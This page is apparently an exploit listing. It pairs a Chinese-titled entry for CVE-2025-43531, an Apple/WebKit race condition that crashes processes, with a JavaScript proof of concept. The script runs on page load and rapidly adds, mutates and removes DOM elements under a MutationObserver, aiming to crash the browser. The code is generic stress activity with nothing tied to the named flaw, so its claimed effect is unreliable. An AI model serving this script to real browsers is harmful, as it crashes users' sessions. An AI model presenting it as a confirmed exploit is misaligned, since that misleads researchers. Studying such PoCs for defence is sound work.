CVE-2025-43531: Apple产品竞态条件导致进程崩溃漏洞

// CVE-2025-43531 PoC - Race Condition in WebKit // This PoC demonstrates the race condition that can trigger process crash // Note: This is for educational purposes only (function() { console.log('[PoC] CVE-2025-43531 - WebKit Race Condition'); // Create elements for triggering race condition const createRaceElements = () => { const container = document.createElement('div'); container.id = 'race-container'; for (let i = 0; i < 100; i++) { const element = document.createElement('div'); element.className = 'race-element'; element.id = 'element-' + i; element.innerHTML = '<span>Content ' + i + '</span>'; container.appendChild(element); } document.body.appendChild(container); return container; }; // Trigger race condition by rapid DOM manipulation const triggerRace = () => { const elements = document.querySelectorAll('.race-element'); let iteration = 0; // Rapid mutation observer triggering const observer = new MutationObserver((mutations) => { mutations.forEach((mutation) => { mutation.addedNodes.forEach((node) => { if (node.nodeType === Node.ELEMENT_NODE) { // Rapid attribute modification setTimeout(() => { node.setAttribute('data-modified', Date.now()); }, Math.random() * 10); } }); mutation.removedNodes.forEach((node) => { // Attempt to access removed node try { node.innerHTML = ''; } catch (e) {} }); }); }); observer.observe(document.getElementById('race-container'), { childList: true, subtree: true, attributes: true }); // Rapid DOM operations to trigger race condition const interval = setInterval(() => { const container = document.getElementById('race-container'); if (!container) { clearInterval(interval); return; } // Add and remove elements rapidly const newElement = document.createElement('div'); newElement.className = 'race-element'; container.appendChild(newElement); // Simultaneously modify existing elements elements.forEach((el) => { el.style.transform = 'translateX(' + Math.random() * 100 + 'px)'; }); // Remove elements while they are being accessed if (iteration % 3 === 0) { const toRemove = container.querySelector('.race-element'); if (toRemove) { toRemove.remove(); } } iteration++; // Stop after some iterations if (iteration > 1000) { clearInterval(interval); observer.disconnect(); console.log('[PoC] Race condition test completed'); } }, 1); }; // Initialize window.addEventListener('load', () => { createRaceElements(); triggerRace(); }); })();